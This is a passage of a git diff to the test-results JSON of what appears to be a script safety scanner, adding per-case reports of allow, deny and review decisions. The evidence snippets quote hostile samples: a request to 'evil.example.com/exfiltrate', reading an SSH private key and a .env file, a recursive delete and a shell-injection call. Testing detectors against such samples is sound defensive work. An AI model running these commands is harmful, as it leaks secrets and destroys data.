0.5583000602200627, + "matches_expected": true, + "report": { + "report_id": "rep-91d203cd74a9499d", + "decision": "allow", + "risk_level": "info", + "rule_ids": [ + "SAFE000" + ], + "findings": [], + "recommendation": "No safety rules matched.", + "policy_hash": "b2fdff89270f2f5e19eb4d5dd00c222a15a802d46806318863ae8af88d79cf38", + "policy_version": "1", + "script_sha256": "ed01a81b947444d4baffce077fd4092f927bbc7fcf3d85ad5e3ad665cedb59d6", + "scan_duration_ms": 0.5583000602200627, + "redacted": false + } }, { "name": "dangerous_recursive_delete", @@ -30,10 +60,43 @@ "rule_ids": [ "FILE001_RECURSIVE_DELETE" ], - "report_id": "rep-3b18c79ff0f6402d", + "report_id": "rep-48536314ac6f45a2", "risk_level": "critical", - "duration_ms": 0.41360000614076853, - "matches_expected": true + "duration_ms": 0.3353999927639961, + "matches_expected": true, + "report": { + "report_id": "rep-48536314ac6f45a2", + "decision": "deny", + "risk_level": "critical", + "rule_ids": [ + "FILE001_RECURSIVE_DELETE" + ], + "findings": [ + { + "rule_id": "FILE001_RECURSIVE_DELETE", + "category": "file", + "risk_level": "critical", + "decision": "deny", + "evidence": { + "snippet": "shutil.rmtree(path)", + "line": 12, + "column": 5, + "language": "python", + "extras": { + "target": "path", + "explicit": "False" + } + }, + "recommendation": "Avoid recursive delete; require explicit file list." + } + ], + "recommendation": "Block execution and request a human-approved path.", + "policy_hash": "b2fdff89270f2f5e19eb4d5dd00c222a15a802d46806318863ae8af88d79cf38", + "policy_version": "1", + "script_sha256": "190f022e0277f968f73f655c896143edd741fd126d3e4e2032ef49117e533bd9", + "scan_duration_ms": 0.3353999927639961, + "redacted": false + } }, { "name": "read_ssh_key", @@ -42,10 +105,42 @@ "rule_ids": [ "FILE003_CREDENTIAL_READ" ], - "report_id": "rep-72ef7681f35b46b3", + "report_id": "rep-514e7d65ccf04b24", "risk_level": "critical", - "duration_ms": 0.5028999876230955, - "matches_expected": true + "duration_ms": 0.43290003668516874, + "matches_expected": true, + "report": { + "report_id": "rep-514e7d65ccf04b24", + "decision": "deny", + "risk_level": "critical", + "rule_ids": [ + "FILE003_CREDENTIAL_READ" + ], + "findings": [ + { + "rule_id": "FILE003_CREDENTIAL_READ", + "category": "file", + "risk_level": "critical", + "decision": "deny", + "evidence": { + "snippet": "path.read_text()", + "line": 14, + "column": 12, + "language": "python", + "extras": { + "target": "/.ssh/id_rsa" + } + }, + "recommendation": "Reading credentials at runtime is forbidden." + } + ], + "recommendation": "Block execution and request a human-approved path.", + "policy_hash": "b2fdff89270f2f5e19eb4d5dd00c222a15a802d46806318863ae8af88d79cf38", + "policy_version": "1", + "script_sha256": "12ecf602862d52505db684562b72f6344a1215e900530a08b3d403f640cd3bdc", + "scan_duration_ms": 0.43290003668516874, + "redacted": false + } }, { "name": "non_allowlist_network", @@ -54,10 +149,43 @@ "rule_ids": [ "NET001_DOMAIN_NOT_ALLOWED" ], - "report_id": "rep-f005efced1e9411e", + "report_id": "rep-6e2b248939f3442b", "risk_level": "high", - "duration_ms": 0.4389999667182565, - "matches_expected": true + "duration_ms": 0.42990001384168863, + "matches_expected": true, + "report": { + "report_id": "rep-6e2b248939f3442b", + "decision": "deny", + "risk_level": "high", + "rule_ids": [ + "NET001_DOMAIN_NOT_ALLOWED" + ], + "findings": [ + { + "rule_id": "NET001_DOMAIN_NOT_ALLOWED", + "category": "network", + "risk_level": "high", + "decision": "deny", + "evidence": { + "snippet": "requests.get(\"https://evil.example.com/exfiltrate\", timeout=5)", + "line": 12, + "column": 16, + "language": "python", + "extras": { + "host": "evil.example.com", + "library": "requests" + } + }, + "recommendation": "Host is not on the allow list; add it explicitly." + } + ], + "recommendation": "Block execution and request a human-approved path.", + "policy_hash": "b2fdff89270f2f5e19eb4d5dd00c222a15a802d46806318863ae8af88d79cf38", + "policy_version": "1", + "script_sha256": "4b9ead86041e4de5143a88150db65414d87478f4101e75b05dc17640f5450f90", + "scan_duration_ms": 0.42990001384168863, + "redacted": false + } }, { "name": "allowlist_network", @@ -66,10 +194,25 @@ "rule_ids": [ "SAFE000" ], - "report_id": "rep-459b750a8a6e4dc6", + "report_id": "rep-dc1032b0e1e244fa", "risk_level": "info", - "duration_ms": 0.4502000520005822, - "matches_expected": true + "duration_ms": 0.4124999977648258, + "matches_expected": true, + "report": { + "report_id": "rep-dc1032b0e1e244fa", + "decision": "allow", + "risk_level": "info", + "rule_ids": [ + "SAFE000" + ], + "findings": [], + "recommendation": "No safety rules matched.", + "policy_hash": "b2fdff89270f2f5e19eb4d5dd00c222a15a802d46806318863ae8af88d79cf38", + "policy_version": "1", + "script_sha256": "91ec771a616b8170154dc89c2f9b857561a41d94f642ee5be6809cf578b60233", + "scan_duration_ms": 0.4124999977648258, + "redacted": false + } }, { "name": "allowed_subprocess", @@ -78,10 +221,25 @@ "rule_ids": [ "SAFE000" ], - "report_id": "rep-04b3b962abcb4bbf", + "report_id": "rep-423ebc2911ef4833", "risk_level": "info", - "duration_ms": 0.45489997137337923, - "matches_expected": true + "duration_ms": 0.4381999606266618, + "matches_expected": true, + "report": { + "report_id": "rep-423ebc2911ef4833", + "decision": "allow", + "risk_level": "info", + "rule_ids": [ + "SAFE000" + ], + "findings": [], + "recommendation": "No safety rules matched.", + "policy_hash": "b2fdff89270f2f5e19eb4d5dd00c222a15a802d46806318863ae8af88d79cf38", + "policy_version": "1", + "script_sha256": "c4964d41038acace3b140b307c78f2c059a6b6cf21c677f9fb386a7dc5013093", + "scan_duration_ms": 0.4381999606266618, + "redacted": false + } }, { "name": "shell_injection", @@ -91,10 +249,59 @@ "PROC002_SHELL_INJECTION", "PROC003_SHELL_OPERATOR" ], - "report_id": "rep-f5144163c5094313", + "report_id": "rep-093190edb1a84df9", "risk_level": "critical", - "duration_ms": 0.6623999215662479, - "matches_expected": true + "duration_ms": 0.4626999143511057, + "matches_expected": true, + "report": { + "report_id": "rep-093190edb1a84df9", + "decision": "deny", + "risk_level": "critical", + "rule_ids": [ + "PROC002_SHELL_INJECTION", + "PROC003_SHELL_OPERATOR" + ], + "findings": [ + { + "rule_id": "PROC002_SHELL_INJECTION", + "category": "process", + "risk_level": "critical", + "decision": "deny", + "evidence": { + "snippet": "subprocess.run(\n f\"ls {user_input}\", shell=True, check=False,\n )", + "line": 12, + "column": 12, + "language": "python", + "extras": { + "executable": "" + } + }, + "recommendation": "Use argument lists (shell=False) to avoid shell injection." + }, + { + "rule_id": "PROC003_SHELL_OPERATOR", + "category": "process", + "risk_level": "medium", + "decision": "needs_human_review", + "evidence": { + "snippet": "subprocess.run(\n f\"ls {user_input}\", shell=True, check=False,\n )", + "line": 12, + "column": 12, + "language": "python", + "extras": { + "operator": "shell=True" + } + }, + "recommendation": "Shell operators require review; split into explicit steps." + } + ], + "recommendation": "Block execution and request a human-approved path.", + "policy_hash": "b2fdff89270f2f5e19eb4d5dd00c222a15a802d46806318863ae8af88d79cf38", + "policy_version": "1", + "script_sha256": "2d43a58affa3528860aa1a7fa400b161c4e766138a50e1f94ceaa20413a0960a", + "scan_duration_ms": 0.4626999143511057, + "redacted": false + } }, { "name": "dependency_install", @@ -104,10 +311,93 @@ "DEP001_ENV_MUTATION", "PROC001_PROCESS_EXEC" ], - "report_id": "rep-ccf3e7dc48844c75", + "report_id": "rep-9a8c142c06454d17", "risk_level": "high", - "duration_ms": 0.4143000114709139, - "matches_expected": true + "duration_ms": 0.3119000466540456, + "matches_expected": true, + "report": { + "report_id": "rep-9a8c142c06454d17", + "decision": "deny", + "risk_level": "high", + "rule_ids": [ + "DEP001_ENV_MUTATION", + "PROC001_PROCESS_EXEC" + ], + "findings": [ + { + "rule_id": "DEP001_ENV_MUTATION", + "category": "dependency", + "risk_level": "high", + "decision": "deny", + "evidence": { + "snippet": "pip install requests", + "line": 7, + "column": 1, + "language": "bash", + "extras": { + "manager": "pip", + "command": "pip install requests" + } + }, + "recommendation": "Dependency installation mutates the runtime image." + }, + { + "rule_id": "DEP001_ENV_MUTATION", + "category": "dependency", + "risk_level": "high", + "decision": "deny", + "evidence": { + "snippet": "npm install lodash", + "line": 8, + "column": 1, + "language": "bash", + "extras": { + "manager": "npm", + "command": "npm install lodash" + } + }, + "recommendation": "Dependency installation mutates the runtime image." + }, + { + "rule_id": "PROC001_PROCESS_EXEC", + "category": "process", + "risk_level": "low", + "decision": "needs_human_review", + "evidence": { + "snippet": "pip install requests", + "line": 7, + "column": 1, + "language": "bash", + "extras": { + "executable": "pip" + } + }, + "recommendation": "Executable is not on the configured allow list." + }, + { + "rule_id": "PROC001_PROCESS_EXEC", + "category": "process", + "risk_level": "low", + "decision": "needs_human_review", + "evidence": { + "snippet": "npm install lodash", + "line": 8, + "column": 1, + "language": "bash", + "extras": { + "executable": "npm" + } + }, + "recommendation": "Executable is not on the configured allow list." + } + ], + "recommendation": "Block execution and request a human-approved path.", + "policy_hash": "b2fdff89270f2f5e19eb4d5dd00c222a15a802d46806318863ae8af88d79cf38", + "policy_version": "1", + "script_sha256": "c5eac42d35862e3dfb843d596a6239960e1d826180f0a77b20874c79918d86a3", + "scan_duration_ms": 0.3119000466540456, + "redacted": false + } }, { "name": "infinite_loop", @@ -116,10 +406,42 @@ "rule_ids": [ "RES001_UNBOUNDED_LOOP" ], - "report_id": "rep-9b522b25146b4786", + "report_id": "rep-27a15ba6e65f417b", "risk_level": "high", - "duration_ms": 0.33549999352544546, - "matches_expected": true + "duration_ms": 0.3092000260949135, + "matches_expected": true, + "report": { + "report_id": "rep-27a15ba6e65f417b", + "decision": "deny", + "risk_level": "high", + "rule_ids": [ + "RES001_UNBOUNDED_LOOP" + ], + "findings": [ + { + "rule_id": "RES001_UNBOUNDED_LOOP", + "category": "resource", + "risk_level": "high", + "decision": "deny", + "evidence": { + "snippet": "while True:\n print(\"looping forever\")", + "line": 10, + "column": 5, + "language": "python", + "extras": { + "kind": "while-True" + } + }, + "recommendation": "Loop has no static exit condition; rewrite with a bounded range." + } + ], + "recommendation": "Block execution and request a human-approved path.", + "policy_hash": "b2fdff89270f2f5e19eb4d5dd00c222a15a802d46806318863ae8af88d79cf38", + "policy_version": "1", + "script_sha256": "010acb05343fb58a55c4c476833b41aa92ec3f4d92c0a215c3fdfe7e056933d3", + "scan_duration_ms": 0.3092000260949135, + "redacted": false + } }, { "name": "secret_output", @@ -128,10 +450,43 @@ "rule_ids": [ "SECRET001_LOG_SINK" ], - "report_id": "rep-e5a7cebdfabb441f", + "report_id": "rep-3990531467af4b11", "risk_level": "high", - "duration_ms": 0.3730000462383032, - "matches_expected": true + "duration_ms": 0.3779999678954482, + "matches_expected": true, + "report": { + "report_id": "rep-3990531467af4b11", + "decision": "deny", + "risk_level": "high", + "rule_ids": [ + "SECRET001_LOG_SINK" + ], + "findings": [ + { + "rule_id": "SECRET001_LOG_SINK", + "category": "secret", + "risk_level": "high", + "decision": "deny", + "evidence": { + "snippet": "print(f\"token is {token}\")", + "line": 13, + "column": 5, + "language": "python", + "extras": { + "source": "", + "sink": "print" + } + }, + "recommendation": "Secret-looking value flows into a log/print sink." + } + ], + "recommendation": "Block execution and request a human-approved path.", + "policy_hash": "b2fdff89270f2f5e19eb4d5dd00c222a15a802d46806318863ae8af88d79cf38", + "policy_version": "1", + "script_sha256": "cb3345effcde943a3ff41940a638a0b6d3858874fe1c2d24fc915d7ea11391df", + "scan_duration_ms": 0.3779999678954482, + "redacted": false + } }, { "name": "bash_pipeline", @@ -140,10 +495,42 @@ "rule_ids": [ "PROC003_SHELL_OPERATOR" ], - "report_id": "rep-b985c3c2d76b43bb", + "report_id": "rep-d1c13e8c7d5c4570", "risk_level": "medium", - "duration_ms": 0.2604000037536025, - "matches_expected": true + "duration_ms": 0.2742999931797385, + "matches_expected": true, + "report": { + "report_id": "rep-d1c13e8c7d5c4570", + "decision": "needs_human_review", + "risk_level": "medium", + "rule_ids": [ + "PROC003_SHELL_OPERATOR" + ], + "findings": [ + { + "rule_id": "PROC003_SHELL_OPERATOR", + "category": "process", + "risk_level": "medium", + "decision": "needs_human_review", + "evidence": { + "snippet": "|", + "line": 8, + "column": 10, + "language": "bash", + "extras": { + "operator": "|" + } + }, + "recommendation": "Shell operators require review; split into explicit steps." + } + ], + "recommendation": "Pause for human review before executing.", + "policy_hash": "b2fdff89270f2f5e19eb4d5dd00c222a15a802d46806318863ae8af88d79cf38", + "policy_version": "1", + "script_sha256": "51ba004f95b1c70917f73e0505224f8b3f5336c1a9749cbcc74294a5853c12bf", + "scan_duration_ms": 0.2742999931797385, + "redacted": false + } }, { "name": "read_dotenv", @@ -152,10 +539,42 @@ "rule_ids": [ "FILE004_DOTENV_READ" ], - "report_id": "rep-715ec01c675147f4", + "report_id": "rep-9830d02b7bfd44a3", "risk_level": "high", - "duration_ms": 0.278900028206408, - "matches_expected": true + "duration_ms": 0.3378000110387802, + "matches_expected": true, + "report": { + "report_id": "rep-9830d02b7bfd44a3", + "decision": "deny", + "risk_level": "high", + "rule_ids": [ + "FILE004_DOTENV_READ" + ], + "findings": [ + { + "rule_id": "FILE004_DOTENV_READ", + "category": "file", + "risk_level": "high", + "decision": "deny", + "evidence": { + "snippet": "cat .env", + "line": 8, + "column": 1, + "language": "bash", + "extras": { + "target": ".env" + } + }, + "recommendation": "Loading .env at runtime can leak secrets; inject via env." + } + ], + "recommendation": "Block execution and request a human-approved path.", + "policy_hash": "b2fdff89270f2f5e19eb4d5dd00c222a15a802d46806318863ae8af88d79cf38", + "policy_version": "1", + "script_sha256": "aa52682b688ee2ac1359c7f1735b4156d13b51435ddd5b6cf023ea79008089cf", + "scan_duration_ms": 0.3378000110387802, + "redacted": false + } }, { "name": "dynamic_command_review", @@ -164,9 +583,41 @@ "rule_ids": [ "PROC001_PROCESS_EXEC" ], - "report_id": "rep-fb58b8d8e8764943", + "report_id": "rep-6dd75a5ba8ee4200", "risk_level": "medium", - "duration_ms": 0.48740010242909193, - "matches_expected": true + "duration_ms": 0.47910003922879696, + "matches_expected": true, + "report": { + "report_id": "rep-6dd75a5ba8ee4200", + "decision": "needs_human_review", + "risk_level": "medium", + "rule_ids": [ + "PROC001_PROCESS_EXEC" + ], + "findings": [ + { + "rule_id": "PROC001_PROCESS_EXEC", + "category": "process", + "risk_level": "medium", + "decision": "needs_human_review", + "evidence": { + "snippet": "subprocess.run(user_command, shell=False)", + "line": 19, + "column": 12, + "language": "python", + "extras": { + "executable": "" + } + }, + "recommendation": "Process executable is computed at runtime; review before executing." + } + ], + "recommendation": "Pause for human review before executing.", + "policy_hash": "b2fdff89270f2f5e19eb4d5dd00c222a15a802d46806318863ae8af88d79cf38", + "policy_version": "1", + "script_sha256": "d7c9ce3aa62f072faa9355fc411d807a933f34d770aa626e78c43607cb795a92", + "scan_duration_ms": 0.47910003922879696, + "redacted": false + } } ] \ No newline at end of file